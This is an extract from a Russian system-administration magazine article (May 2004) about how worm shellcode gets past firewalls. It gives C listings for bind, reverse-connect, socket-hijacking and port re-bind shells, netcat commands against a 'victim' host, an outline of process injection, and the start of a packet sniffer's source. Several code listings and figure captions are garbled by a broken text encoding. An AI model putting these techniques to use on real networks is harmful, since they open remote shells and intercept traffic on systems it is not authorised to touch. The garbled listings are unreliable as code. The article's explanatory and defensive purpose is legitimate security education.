раничить своих пользователей в правах, чем нести мо-ральную ответственность за поддержание жизнедеятель-ности всякой заразы. Однако в отношении червей, рас-пространяющихся через стандартные порты популярныхсетевых служб, этот прием не срабатывает, и брандмау-эр беспрепятственно пропускает голову червя внутрь кор-поративной сети.

Но забросить shell-код на вражескую территорию – этотолько половина дела. Как минимум еще требуется про-тащить через все межсетевые заслоны основное телочервя (то есть хвост), а как максимум – установить тер-минальный backdoor shell, предоставляющий атакующе-му возможность удаленного управления захваченной си-стемой.

Может ли брандмауэр этому противостоять? Если оннаходится на одном узле с атакуемым сервером и shell-код исполняется с наивысшими привилегиями, то атаку-ющий может делать с брандмауэром все, что ему толькозаблагорассудится, в том числе и изменять его конфигу-рацию на более демократическую. Этот случай настолькопрост, что его даже неинтересно рассматривать. Давайтелучше исходить из того, что брандмауэр и атакуемый сер-вис расположены на различных узлах, причем сам бранд-мауэр правильно сконфигурирован и лишен каких бы тони было уязвимостей.

Самое простое (и самое естественное) – поручитьshell-коду открыть на атакованном узле новый, заведо-мо никем не использованный порт (например, порт 666)и терпеливо ждать подключений с удаленного узла, осу-ществляющего засылку основного вирусного кода.

Правда, если администратор системы не новичок,все входящие соединения на все непубличные портыбудут безжалостно отсекаться брандмауэром. Однакоатакующий может схитрить и перенести сервернуючасть червя на удаленный узел, ожидающий подключе-ний со стороны shell-кода. Исходящие соединения бло-кируются далеко не на всех брандмауэрах, хотя в прин-ципе такая возможность у администратора есть. Но гра-мотно спроектированный червь не может позволитьсебе закладываться на разгильдяйство и попуститель-ство администраторов. Вместо установки нового TCP/IP-соединения он должен уметь пользоваться уже су-ществующим – тем, через которое и была осуществле-на засылка головы червя. В этом случае брандмауэрбудет бессилен что-либо сделать, т.к. с его точки зре-ния все будет выглядеть вполне нормально. Откуда жеему, бедолаге, знать, что вполне безобидное с виду илегальным образом установленное TCP/IP-соединение

Ðèñóíîê 1.  Ðàñïðåäåëåíèå  èíòåíñèâíîñòè  àòàê  íà  ðàçëè÷íûåïîðòû ïî ðåãèîíàì

Page 70: 018 Системный Администратор 05 2004

68

безопасность

обрабатывает отнюдь не сервер, а непосредственно самshell-код, поселившийся в адресном пространстве пос-леднего.

Существует несколько путей захвата ранее установ-ленного TCP/IP-соединения (если кто раньше читал моистатьи, датированные годом эдак 1998, то там я назы-вал это «передачей данных в потоке уже существующе-го TCP/IP-соединения», но этот термин не прижился).Первое и самое глупое – обратиться к переменной деск-риптора сокета по фиксированным адресам, специфич-ным для данного сервера, которые атакующий можетполучить путем его дизассемблирования. Но такой спо-соб не выдерживает никакой критики, здесь он не рас-сматривается (тем не менее, знать о его существованиибудет все-таки полезно).

Уж лучше прибегнуть к грубой силе, перебирая всевозможные дескрипторы сокетов один за другим и темили иным образом определяя, какой из них заведует «на-шим» TCP/IP-соединением. Поскольку в операционныхсистемах семейства UNIX и Windows 9x/NT дескрипторысокетов представляют собой вполне упорядоченные и не-большие по величине целочисленные значения (обычнозаключенные в интервале от 0 до 255), их перебор зай-мет совсем немного времени. Как вариант можно вос-пользоваться повторным применением адресов, сделавre-bind на открытый уязвимым сервером порт. Тогда всепоследующие подключения к атакованному узлу будутобрабатываться отнюдь не прежним владельцем порта,а непосредственно самим shell-кодом (неплохое средствоперехвата секретного трафика, а?). Наконец, shell-код мо-жет просто «прибить» уязвимый процесс и открыть пуб-личный порт заново.

Как вариант – червь может умертвить атакуемый про-цесс, автоматически освобождая все отрытые им порты идескрипторы. Тогда повторное открытие уязвимого портане вызовет никаких протестов со стороны операционнойсистемы. Менее агрессивный червь не будет ничего зах-ватывать, никого убивать и вообще что-либо трогать. Онпросто переведет систему в неразборчивый режим, про-слушивая весь проходящий трафик, с которым атакующийдолжен передать оставшийся хвост.

И на закуску: если ICMP-протокол хотя бы частичноразрешен (чтобы пользователи внешней сети не доста-вали администратора глупыми вопросами, почему умираетping), то shell-код может запросто обернуть свой хвостICMP-пакетами! В самом крайнем случае червь можетпослать свое тело и в обычном электронном письме (ко-нечно, при условии, что он сможет зарегистрировать напочтовом сервере новый ящик или похитить пароли одно-го или нескольких пользователей, что при наличии snifferне является проблемой).

Таким образом, никакой, даже самый совершенный иправильно сконфигурированный брандмауэр не защититвашу сеть (и уж тем более – домашний компьютер) ни отчервей, ни от опытных хакеров. Это, разумеется, не обо-значает, что брандмауэр совершенно бесполезен, но убе-дительно доказывает тот факт, что приобретение бранд-мауэра еще не отменяет необходимость регулярной уста-новки свежих заплаток.

Устанавливаем соединениес удаленным узломСейчас мы рассмотрим пять наиболее популярных спосо-бов установки TCP/IP-соединения с атакуемым узлом, дваиз которых легко блокируются брандмауэрами, а остав-шиеся три представляют собой серьезную и практическинеразрешимую проблему.

Для осуществления всех описываемых в статье экспе-риментов вам понадобится:! утилита netcat, которую легко найти в Интернете и ко-

торая у каждого администратора всегда должна бытьпод рукой;

! локальная сеть, состоящая как минимум из одного ком-пьютера;

! любой симпатичный вам брандмауэр;! операционная система типа Windows 2000 или выше

(все описываемые технологии прекрасно работают ина UNIX, но исходные тексты демонстрационных при-меров ориентированы именно на Windows).

bind exploit, или «детская» атакаИдея открыть на атакованном сервере новый порт может«осенить» разве что начинающего хакера, не имеющегореального опыта программирования сокетов и не пред-ставляющего, насколько этот способ нежизнеспособен иуязвим. Тем не менее многие черви именно так и распро-страняются, поэтому имеет смысл поговорить об этомпоподробнее.

Программная реализация серверной части shell-кодасовершенно тривиальна и в своем каноническом видесостоит из следующей последовательности системныхвызовов: socket →→→→→ bind →→→→→ listen →→→→→ accept, организованныхприблизительно следующим образом:

Ðèñóíîê 2. Àòàêóþùèé çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð,ãäå shell-êîä è îòêðûâàåò íîâûé ïîðò N, ê êîòîðîìó âïîñëåä-ñòâèè ïîäêëþ÷àåòñÿ àòàêóþùèé, åñëè, êîíå÷íî, íà åãî ïóòè íåâñòðåòèòñÿ  áðàíäìàóýð

Ëèñòèíã 1. Êëþ÷åâîé  ôðàãìåíò  shell-êîäà,  îòêðûâàþùåãîíà àòàêóåìîì ñåðâåðå íîâûé ïîðò.// ïîðò, êîòîðûé ýêñïëîèò áóäåò ñëóøàòü#define  HACKERS_PORT 666// øàã 1: ñîçäàåì ñîêåòif ((lsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;// øàã 2: ñâÿçûâàåì ñîêåò ñ ëîêàëüíûì àäðåñîìladdr.sin_family = AF_INET;laddr.sin_port =  htons(HACKERS_PORT);laddr.sin_addr.s_addr = INADDR_ANY;if (bind(lsocket,(struct sockaddr*) &laddr, ↵↵↵↵↵

sizeof(laddr))) return -1;// øàã 3: ñëóøàåì ñîêåòif (listen(lsocket, 0x100)) return -1; ↵↵↵↵↵

printf("wait  for  connection...\n");

Page 71: 018 Системный Администратор 05 2004

69№5(18), май 2004

безопасность

Полный исходный текст данного примера содержитсяв файле bind.c, прилагаемого к статье. Наскоро откомпи-лировав его (или взяв уже откомпилированный bind.exe),запустим его на узле, условно называемом «узлом-жерт-вой», или «атакуемым узлом». Эта стадия будет соответ-ствовать засылке shell-кода, переполняющего буфер иперехватывающего управление (преобразованием ис-ходного текста в двоичный код головы червя воинственнонастроенным читателям придется заниматься самостоя-тельно, а здесь вам не тот косинус, значения которогомогут достигать четырех).

Теперь, переместившись на атакующий узел, набери-те в командной строке:

или, если у вас нет утилиты netcat:

Если все прошло успешно, в окне telnet-клиента по-явится стандартное приглашение командного интерпре-татора (по умолчанию это cmd.exe), и вы получите болееили менее полноценный shell, позволяющий запускать наатакуемом узле различные консольные программы.

Вдоволь наигравшись с удаленным shell (подробныйразговор о котором нас еще ждет впереди), убедитесь, что:! утилита netstat, запущенная с ключом «-a» (или любая

другая утилита, подобная ей), «видит» откровенно ле-вый порт, открытый shell-кодом;

! при наличии правильно настроенного брандмауэра по-пытки подключиться к shell-коду извне сети не увенча-ются успехом – брандмауэр не только блокирует вхо-дящие соединения на нестандартный порт, но и авто-матически определяет IP-адрес атакующего (конечно,при условии, что тот не скрыт за анонимным proxy).После этого остается лишь вломиться к хакеру на доми, выражаясь образным языком, надавать ему поушам – чтобы больше не хакерствовал.

Впрочем, в жизни все совсем не так, как в теории.Далеко не каждый администратор блокирует все неис-пользуемые порты, и уж тем более – проверяет соответ-

ствие портов и узлов локальной сети. Допустим, почто-вый сервер, сервер новостей и веб-сервер расположенына различных узлах (а чаще всего так и бывает). Тогдана брандмауэре должны быть открыты 25-й, 80-й и 119-йпорты. Предположим, что на веб-сервере обнаружиласьуязвимость и атакующий его shell-код открыл для своихнужд 25-й порт. Небрежно настроенный брандмауэр про-пустит все TCP/IP-пакеты, направленные на 25-й порт,независимо от того, какому именно локальному узлу ониадресованы.

Проверьте, правильно ли сконфигурирован ваш бран-дмауэр, и внесите соответствующие изменения в его на-стройки, если это вдруг окажется не так.

reverse exploit, или если гора не идетк Магомету…Хакеры средней руки, потирая покрасневшие после пос-ледней трепки уши, применяют диаметрально противопо-ложный прием, меняя серверный и клиентский код червяместами. Теперь уже не хвост червя стучится к его голо-ве, а голова к хвосту. Большинство брандмауэров доволь-но лояльно относятся к исходящим соединениям, беспре-пятственно пропуская их через свои стены, и шансы ата-кующего на успех существенно повышаются.

Одновременно с этим упрощается и программная реа-лизация головы червя, клиентский код которого сокраща-ется всего до двух функций: socket и connect, правда IP-адрес атакующего приходится жестко (hardcoded) проши-вать внутри червя. То есть червь должен уметь динами-чески изменять свой shell-код, а это (с учетом требова-ний, предъявляемых к shell-коду) не такая уж и простаязадача.

Откомпилировав исходный текст демонстрационного

// øàã 4: îáðàáàòûâàåì âõîäÿùèå ïîäêëþ÷åíèÿcsocket = accept(lsocket, (struct sockaddr *) ↵↵↵↵↵

&caddr,  &caddr_size));�sshell(csocket[0],  MAX_BUF_SIZE); // óäàëåííûé shell�// øàã 5: ïîä÷èùàåì çà ñîáîé ñëåäûclosesocket(lsocket);

  netcat "àäðåñ àòàêóåìîãî" 666

telnet "àäðåñ àòàêóåìîãî" 666

Ðèñóíîê 3. Àòàêóþùèé çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð,shell-êîä îòêðûâàåò íîâûé ïîðò N, íî âõîäÿùåå ïîäêëþ÷åíèå íàïîðò N áëîêèðóåòñÿ áðàíäìàóýðîì è çàâåðøèòü àòàêó íå óäàåòñÿ

Ðèñóíîê 4. Àòàêóþùèé îòêðûâàåò íà ñâîåì óçëå íîâûé ïîðò N,çàñûëàåò  shell-êîä  íà  óÿçâèìûé  ñåðâåð,  îòêóäà  shell-êîäóñòàíàâëèâàåò ñ óçëîì àòàêóþùåãî èñõîäÿùåå ñîåäèíåíèå, îáû÷íîíå áëîêèðóåìîå áðàíäìàóýðîì

Ëèñòèíã 2. Êëþ÷åâîé  ôðàãìåíò  shell-êîäà,  óñòàíàâëèâàþùèéèñõîäÿùåå  ñîåäèíåíèå#define  HACKERS_PORT 666#define  HACKERS_IP "127.0.0.1"�// øàã 1: ñîçäàåì ñîêåòif ((csocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;// øàã 2: óñòàíàâëèâàåì ñîåäèíåíèåcaddr.sin_family = AF_INET;caddr.sin_port =  htons(HACKERS_PORT);caddr.sin_addr.s_addr =  inet_addr(HACKERS_IP);if (connect(csocket, (struct sockaddr*)&caddr, ↵↵↵↵↵

sizeof(caddr))) return -1;// øàã 3: îáìåíèâàåìñÿ äàííûìè ñ ñîêåòîìsshell(csocket,  MAX_BUF_SIZE  );

Page 72: 018 Системный Администратор 05 2004

70

безопасность

примера (ищите его в файле reverse.c), выполните на узлеатакующего следующую команду:

а на атакуемом узле запустите reverse.exe (выполняющийроль shell-кода) и введите IP-адрес атакующего узла с кла-виатуры (в реальном shell-коде, как уже говорилось выше,этот адрес передается вместе с головой червя).

И вновь терминал хакера превратится в удаленныйshell, позволяющий делать с уязвимым узлом все что угод-но. Причем, если в отношении «подтягивания» вирусногохвоста все было предельно ясно (голова червя устанав-ливает с исходным узлом TCP/IP-соединение, скачиваетосновное тело червя, разрывая соединение после завер-шения этой операции), то осуществить «инверсный» дос-туп к backdoor значительно сложнее, поскольку инициа-тором соединения является уже не хакер, а сам удален-ный shell-код. Теоретически последний можно запрограм-мировать так, чтобы он периодически стучался на хакер-ский узел, пытаясь установить соединение каждый час илидаже каждые несколько секунд, однако это будет слиш-ком заметно, и к тому же атакующему потребуется посто-янный IP, которым не так-то просто завладеть анонимно.

Если уязвимый узел находится в DMZ-зоне («демили-таризованной» зоне – выделенном сегменте сети, в кото-ром локальная сеть пересекается с агрессивной внешнейсредой, где по обыкновению и устанавливаются публич-ные серверы), администратор может с чистой совестьюзаблокировать все исходящие соединения, перекрываячервю «кислород» и одновременно с этим беспрепятствен-но пропуская локальных пользователей в Интернет. Прав-да, дверь демилитаризованной зоны практически никог-да не запирается наглухо и в ней всегда остается крохот-ная щелка, предназначенная для отправки почты, DNS-запросов и т. д., однако правильно сконфигурированныйбрандмауэр ни за что не выпустит пакет, стучащийся в25-й порт, но отправленный не с SMTP-, а с веб-сервера!

Но даже если исходящие соединения и не блокируют-ся брандмауэром, червь все равно не сможет эффектив-но распространяться, ведь брандмауэр атакующего узланавряд ли пропустит входящее соединение, поэтому даль-ше первого поколения процесс размножения не пойдет. Влюбом случае установка новых соединений на нестандар-тные порты (а уж тем более периодические «поползнове-ния» в сторону узла хакера) так или иначе отображаетсяв логах, и к хакеру в срочном порядке отправляется бри-гада «карателей» быстрого реагирования.

find exploit, или молчание брандмауэраЕсли в процессе оперативно-воспитательной работы вме-сте с ушами хакеру не оторвут еще кое-что, до него, мо-жет быть, наконец дойдет, что устанавливать новые TCP/IP-соединения с атакуемым сервером ненужно! Вместоэтого можно воспользоваться уже существующим соеди-нением, легальным образом установленным с сервером!

В частности, можно гарантировать, что на публичномвеб-сервере будет обязательно открыт 80-й порт, иначени один пользователь внешней сети не сможет с ним ра-ботать. Поскольку HTTP-протокол требует двухсторонне-го TCP/IP-соединения, атакующий может беспрепятствен-но отправлять shell-коду зловредные команды и получатьназад ответы. Алгоритм атаки в общем виде выглядитприблизительно так: атакующий устанавливает с уязви-мым сервером TCP/IP-соединение, притворясь невиннойовечкой, мирно пасущейся на бескрайних просторах Ин-тернета, но вместо честного запроса «GET» он подбрасы-вает серверу зловредный shell-код, переполняющий бу-фер и захватывающий управление. Брандмауэр, доволь-но смутно представляющий себе особенности программ-ной реализации сервера, не видит в таком пакете ничегодурного и благополучно его пропускает.

Между тем shell-код, слегка обжившись на атакован-ном сервере, вызывает функцию recv, передавая ей деск-риптор уже установленного TCP/IP-соединения, того са-мого, через которое он и был заслан – подтягивая своеосновное тело. Совершенно ничего не подозревающийбрандмауэр и эти пакеты пропускает тоже, ничем не вы-деляя их в логах.

Проблема в том, что shell-код не знает дескриптора«своего» соединения и потому не может этим соединени-ем напрямую воспользоваться. Но тут на помощь прихо-дит функция getpeername, сообщающая, с каким удален-ным адресом и портом установлено соединение, ассоци-ированное с данным дескриптором (если дескриптор неассоциирован ни с каким соединением, функция возвра-щает ошибку). Поскольку и в Windows 9x/NT, и в UNIX дес-крипторы выражаются небольшим положительным целымчислом, вполне реально за короткое время перебрать ихвсе, после чего shell-коду останется лишь определить, ка-кое из всех TCP/IP-соединений «его». Это легко. Ведь IP-адрес и порт атакующего узла ему хорошо известны (нудолжен же он помнить, откуда он только что пришел!),достаточно выполнить тривиальную проверку на совпа-дение – вот и все.

netcat �l �p 666

Ðèñóíîê 5. Àòàêóþùèé îòêðûâàåò íà ñâîåì óçëå íîâûé ïîðò N,çàñûëàåò  shell-êîä  íà  óÿçâèìûé  ñåðâåð,  îòêóäà  shell-êîäóñòàíàâëèâàåò ñ óçëîì àòàêóþùåãî èñõîäÿùåå ñîåäèíåíèå, áåç-æàëîñòíî  áëîêèðóåìîå  ïðàâèëüíî  íàñòðîåííûì  áðàíäìàóýðîì

Ðèñóíîê 6. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä,êîòîðûé  ìåòîäîì  "òóïîãî"  ïåðåáîðà  íàõîäèò  ñîêåò  óæå  óñòà-íîâëåííîãî ñîåäèíåíèÿ è ñâÿçûâàåòñÿ ñ óçëîì àòàêóþùåãî, íåâûçûâàÿ íèêàêèõ ïîäîçðåíèé ñî ñòîðîíû áðàíäìàóýðà

Page 73: 018 Системный Администратор 05 2004

71№5(18), май 2004

безопасность

Программная реализация головы червя в несколькоупрощенном виде может выглядеть, например, так:

Откомпилировав демонстрационный пример find.c,запустите его на атакуемом узле, а на узле атакующегонаберите:

Убедитесь, что никакие, даже самые жесткие и неде-мократические настройки брандмауэра не препятствуютнормальной жизнедеятельности червя. Внимательнейшимобразом изучите все логи – вы не видите в них ничегоподозрительного? Вот! Я тоже не вижу. И хотя IP-адресатакующего в них исправно присутствует, он ничем невыделяется среди сотен тысяч адресов остальных поль-зователей и разоблачить хакера может лишь просмот-ром содержимого всех TCP/IP-пакетов. Пакеты, отправ-ленные злоумышленником, будут содержать shell-код,который легко распознать на глаз. Однако, учитывая, чтокаждую секунду сервер перемолачивает не один мега-байт информации, просмотреть все пакеты становитсяпросто нереально, а автоматизированный поиск требу-ет вирусной сигнатуры, которой на латентной стадииэпидемии еще ни у кого нет.

reuse exploit, или молчание брандмауэра IIДопустим, разработчики операционных систем исправятсвой грубый ляп с дескрипторами сокетов, равномернорассеяв их по всему 32-битному пространству, что сдела-ет лобовой перебор довольно неэффективным, особенноесли в функции getpeername будет встроен детектор та-кого перебора, реагирующий в случае подозрения на ата-ку все возрастающим замедлением. И что тогда? А ниче-го! Опытные хакеры (и грамотно спроектированные чер-ви) перейдут к плану «Б», насильно делая re-bind уже от-крытому порту.

Возможность повторного использования адресов – этовполне легальная возможность, и предусмотрена она неслучайно. В противном случае проектирование разветв-ленных сетевых приложений с сильно развитой иерархи-ческой структурой оказалось бы чрезвычайно затрудне-но (кто программировал собственные серверы, тот пой-

мет, ну а кто не программировал, просто не в состояниипредставить, чего он избежал).

Если говорить коротко: делать bind на уже открытыйпорт может только владелец этого порта (т.е. процесс,открывший данный порт, или один из его потомков, унас-ледовавших дескриптор соответствующего сокета), да ито лишь при том условии, что сокет не имеет флага экск-люзивности (SO_EXCLUSIVEADDRUSE). Тогда, создавновый сокет и вызвав функцию setsockopt, присваиваю-щую ему атрибут SO_REUSEADDR, shell-код сможет сде-лать bind и listen, после чего все последующие подключе-ния к атакованному серверу будут обрабатываться уже несамим сервером, а зловредным shell-кодом!

Программная реализация данной атаки вполне триви-альна и отличается от эксплоита bind.c одной-единствен-ной строкой:

присваивающей сокету атрибут SO_REUSEADDR. Одна-ко вместо открытия порта с нестандартным номером дан-ный код захватывает основной порт уязвимой службы, невызывая никаких претензий у брандмауэра.

Ëèñòèíã 3. Êëþ÷åâîé  ôðàãìåíò  shell-êîäà,  îñóùåñòâëÿþùèéïîèñê ñîêåòà "ñâîåãî" ñîåäèíåíèÿ// øàã 1: ïåðåáèðàåì âñå äåñêðèïòîðû ñîêåòîâ îäèí çà äðóãèìfor (a = 0; a < MAX_SOCKET; a++){

*buff = 0; // î÷èùàåì èìÿ ñîêåòà// øàã 2: ïîëó÷àåì àäðåñ, ñâÿçàííûé ñ äàííûì äåñêðèïòîðîì// (êîíå÷íî, ïðè óñëîâèè, ÷òî ñ íèì âîîáùå ÷òî-òî ñâÿçíî)if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, ↵↵↵↵↵

(int *) buff) != -1){

// øàã 3: èäåíòèôèöèðóåì ñâîå TCP/IP-ñîåäèíåíèå// ïî ñâîåìó ïîðòóif  (htons(faddr.sin_port)  ==  HACKERS_PORT)

sshell((SOCKET)  a,  MAX_BUF_SIZE);}

}// øàã 4: ïîä÷èùàåì çà ñîáîé ñëåäûclosesocket(fsocket);

netcat "àäðåñ àòàêóåìîãî" 666Ðèñóíîê 7. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä,êîòîðûé äåëàåò re-bind íà îòêðûòûé ïóáëè÷íûé ïîðò è ïåðå-õâàòûâàåò  âñå  ïîñëåäóþùèå  ñîåäèíåíèÿ  (è  ñîåäèíåíèÿ,  óñòà-íàâëèâàåìûå àòàêóþùèì â òîì ÷èñëå)

setsockopt(rsocket,  SOL_SOCKET,  SO_REUSEADDR,  ↵↵↵↵↵&n_reuse,  sizeof(n_reuse))

Ëèñòèíã 4. Êëþ÷åâîé  ôðàãìåíò  shell-êîäà,  îñóùåñòâëÿþùèére-bind îòêðûòîãî ïîðòà// øàã 1: ñîçäàåì ñîêåòif ((rsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;// øàã 2: ïðèñâàèâàåì àòðèáóò SO_REUSEADDRif (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , ↵↵↵↵↵

&n_reuse, 4)) return -1;// øàã 3: ñâÿçûâàåì ñîêåò ñ ëîêàëüíûì àäðåñîìraddr.sin_family = AF_INET;raddr.sin_port = htons(V_PORT); // óÿçâèìûé ïîðòraddr.sin_addr.s_addr = INADDR_ANY;if (bind(rsocket,(struct sockaddr *) &raddr, ↵↵↵↵↵

sizeof(raddr))) return -1;// øàã 4: ñëóøàåì// ïðè ïîñëåäóþùèõ ïîäêëþ÷åíèÿõ ê óÿçâèìîìó ïîðòó, óïðàâëåíèå// ïîëó÷èò shell-êîä, à íå êîä ñåðâåðà è ýòîò ïîðò áóäåò// îáÿçàòåëüíî îòêðûò íà firewall, ïîñêîëüêó ýòî ïîðò// «ëåãàëüíîé» ñåòåâîé ñëóæáû!if (listen(rsocket, 0x1)) return -1;// øàã 5: èçâëåêàåì ñîîáùåíèå èç î÷åðåäècsocket = accept(rsocket, (struct sockaddr *) ↵↵↵↵↵

&raddr,  &raddr_size);// øàã 6: îáìåíèâàåìñÿ êîìàíäàìè ñ ñîêåòîìsshell((SOCKET)  csocket,  MAX_BUF_SIZE);// øàã 7 - ïîä÷èùàåì çà ñîáîé ñëåäûclosesocket(rsocket);closesocket(csocket);

Page 74: 018 Системный Администратор 05 2004

72

безопасность

Откомпилировав демонстрационный пример reuse.c,запустите его на атакуемом узле, а на узле атакующеговыполните следующую команду:

соответствующую стадии засылки shell-кода на уязвимыйсервер. Затем повторите попытку подключения вновь и,если все пройдет успешно, на экране терминала появит-ся уже знакомое приглашение командного интерпретато-ра, подтверждающее, что подключение обработано от-нюдь не прежним владельцем порта, а головой червя илиshell-кодом.

Убедитесь, что брандмауэр, независимо от его конфи-гурации, не видит в этой ситуации ничего странного и ни-как не препятствует несанкционированному захвату под-ключений. (Замечание: под Windows 2000 SP3 этот при-ем иногда не срабатывает – система, нахально проигно-рировав захват порта, продолжает обрабатывать входя-щие подключения его прежним владельцем. Как ведутсебя остальные системы, не знаю, не проверял, однакоэто явная ошибка и она должна быть исправлена в следу-ющих версиях. В любом случае, если такое произошло,повторяйте засылку shell-кода вновь и вновь – до тех пор,пока вам не повезет).

fork exploit, или брандмауэр продолжает молчатьАтрибут эксклюзивности не присваивается сокетам поумолчанию, и о его существовании догадываются далеконе все разработчики серверных приложений, однако, еслипод натиском червей уязвимые серверы начнут сыпатьсяодин за другим, разработчики могут пересмотреть своеотношение к безопасности и воспрепятствовать несанк-ционированному захвату открытых портов. Наступят липосле этого для червей мрачные времена?

Да как бы не так! Голова червя просто прибьет уязви-мый процесс вместе со всеми его дескрипторами (призакрытии процесса все открытые им порты автоматичес-ки освобождаются), перебрасывая свое тело в новый про-цесс, после чего червь сделает bind только что открытомупорту, получая в свое распоряжение все входящие соеди-нения.

В UNIX-системах есть замечательный системный вы-зов fork, расщепляющий текущий процесс и автоматичес-ки раздваивающий червя. В Windows 9x/NT осуществитьтакую операцию намного сложнее, однако все же не таксложно, как это кажется на первый взгляд. Один из воз-можных способов реализации выглядит приблизительнотак: сначала вызывается функция CreateProcess с уста-новленным флагом CREATE_SUSPENDED (создание про-цесса с его немедленным «усыплением»), затем из про-цесса выдирается текущий контекст (это осуществляетсявызовом функции GetThreadContext) и значение регистраEIP устанавливается на начало блока памяти, выделенно-го функцией VirtualAllocEx. Вызов SetThreadContext обнов-ляет содержимое контекста, а функция WriteProcessMemoryвнедряет в адресное пространство процесса shell-код,после чего процесс пробуждается, разбуженный функци-ей ResumeThread, и shell-код начинает свое выполнение.

Против этого приема не существует никаких адекват-ных контрмер противодействий, и единственное, что мож-но порекомендовать, – это избегать использования уяз-вимых приложений вообще.

sniffer exploit, или пассивное сканированиеПри желании червь может перехватывать весь трафик,проходящий через уязвимый узел, а не только тот, чтоадресован атакованному сервису. Такое пассивное про-слушивание чрезвычайно трудно обнаружить, и из всехрассмотренных нами способов обхода брандмауэров этотобеспечивает червю наивысшую скрытность.

По сети путешествует огромное количество сниффе-ров для UNIX, в большинство своем распространяемых висходных текстах и неплохо прокомментированных. Наи-более универсальный способ прослушивания трафикаапеллирует к кросс-платформенной библиотеке libcap,портированной в том числе и под Windows 95/98/ME/NT/2000/XP/CE (на сайте http://winpcap.polito.it/install/default.htmможно найти и сам порт библиотеки, и tcpdump дляWindows – очень рекомендую). Если же на атакованномкомпьютере этой библиотеки нет (а червь не может по-зволить себе роскошь тащить ее за собой), мы будем дей-ствовать так: открываем сокет в сыром режиме, связыва-ем его с прослушиваемым интерфейсом, переводим пос-ледний в «неразборчивый» (promiscuous) режим, в кото-ром сокет будет получать все проходящие мимо него па-кеты, и… собственно, читаем их в свое удовольствие.

В различных операционных системах этот механизм ре-ализуется по-разному. В Linux, начиная с версии 2.2, по-явились поддержка пакетных сокетов, предназначенных длявзаимодействия с сетью на уровне драйверов и создавае-мых вызовом:

где type может принимать значения SOCK_RAW («сырой»сокет) или SOCK_DGRAM («сухой» сокет с удаленнымислужебными заголовками). Вызов:

активирует неразборчивый режим, где ifr – интерфейс, к ко-торому сокет был привязан сразу после его создания (под-робнее об этом можно прочитать в статье В. Мешкова «Ана-лизатор сетевого трафика», опубликованной в октябрьскомномере журнала «Системный администратор» за 2002 год).

netcat "àäðåñ àòàêóåìîãî" 80

Ðèñóíîê 8. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä,ïðèáèâàþùèé ñåðâåðíûé ïðîöåññ è îòêðûâàþùèé ïóáëè÷íûé ïîðòçàíîâî

socket (PF_PACKET, int type, int protocol)

ifr.ifr_flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr)

Page 75: 018 Системный Администратор 05 2004

73№5(18), май 2004

безопасность

Под BSD можно открыть устройство «/dev/bpf» и послеего перевода в неразборчивый режим:

слушать пролетающий мимо узла трафик. В Solaris всеосуществляется аналогично, только IOCTL-коды немногодругие, и устройство называется не bpf, а hme. Аналогич-ным образом ведет себя и SUN OS, где для достиженияжелаемого результата приходится отрывать устройство nit.

Короче говоря, эта тема выжата досуха и никому ужене интересна. Замечательное руководство по программи-рованию снифферов (правда, на французском языке) мож-но найти на http://www.security-labs.org/index.php3?page=135,а на http://packetstormsecurity.org/sniffers/ выложено множе-ство разнообразных «грабителей» трафика в исходных тек-стах. Наконец, по адресам http://athena.vvsu.ru/infonets/Docs/sniffer.txt и http://cvalka.net/read.php?file=32&dir=programmingвас ждет пара толковых статей о снифферах на русскомязыке. Словом, на недостаток информации жаловаться неприходится. Правда, остается неявным – как примеритьвесь этот зоопарк и удержать в голове специфическиеособенности каждой из операционных систем?

Подавляющее большинство статей, с которыми мнеприходилось встречаться, описывали лишь одну, ну мак-симум две операционные системы, совершенно игнори-руя существование остальных. Приходилось открывать не-сколько статей, одновременно и попеременно мотатьсямежду ними на предмет выяснения: а под Linux это как? Апод BSD? А под Solaris? От этого в голове образовывалсятакой кавардак, что от прочитанного материала не оста-валось и следа, а компилируемый код содержал огром-ное количество фатальных ошибок, даже и не пытаяськомпилироваться.

Чтобы не мучить читателя сводными таблицами (откоторых больше вреда, чем пользы), ниже приводитсявполне работоспособная функция абстракции, подготав-ливающая сокет (дескриптор устройства) к работе и под-держивающая большое количество различных операци-онных систем, как то: SUN OS, Lunux, FreeBSD, IRIX иSolaris. Полный исходный текст сниффера можно стащитьотсюда: http://packetstormsecurity.org/sniffers/gdd13.c.

Ëèñòèíã 5. Ñîçäàíèå  ñûðîãî  ñîêåòà  (äåñêðèïòîðà)  è  ïåðåâîäåãî â íåðàçáîð÷èâûé ðåæèì/*======================================================== Ethernet Packet Sniffer 'GreedyDog' Version 1.30 The Shadow Penguin Security  (http://shadowpenguin.backsection.net) Written by UNYUN ([email protected])#ifdef SUNOS4 /*--------< SUN OS4 >-----------*/#define NIT_DEV "/dev/nit" */#define DEFAULT_NIC "le0" */#define CHUNKSIZE 4096 */#endif#ifdef LINUX   /*--------< LINUX >-------------*/#define NIT_DEV ""#define DEFAULT_NIC "eth0" */#define CHUNKSIZE 32000 */#endif#ifdef FREEBSD /*--------< FreeBSD >-----------*/#define NIT_DEV "/dev/bpf" */#define DEFAULT_NIC "ed0" */

#define CHUNKSIZE 32000 */#endif#ifdef IRIX /*-----------< IRIX >--------------*/#define NIT_DEV ""#define DEFAULT_NIC ""#define CHUNKSIZE 60000 */#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct  ↵↵↵↵↵

ether_header))#endif#ifdef SOLARIS /*--------< Solaris >-----------*/#define NIT_DEV "/dev/hme" */#define DEFAULT_NIC ""#define CHUNKSIZE 32768 */#endif#define S_DEBUG */#define SIZE_OF_ETHHDR 14 */#define LOGFILE "./snif.log" */#define TMPLOG_DIR "/tmp/" */struct  conn_list{

struct  conn_list *next_p;char sourceIP[16],destIP[16];unsigned long sourcePort,destPort;

};struct conn_list *cl; struct conn_list *org_cl;#ifdef SOLARIS

int strgetmsg(fd, ctlp, flagsp, caller)int fd;struct strbuf  *ctlp;int *flagsp;char *caller;{

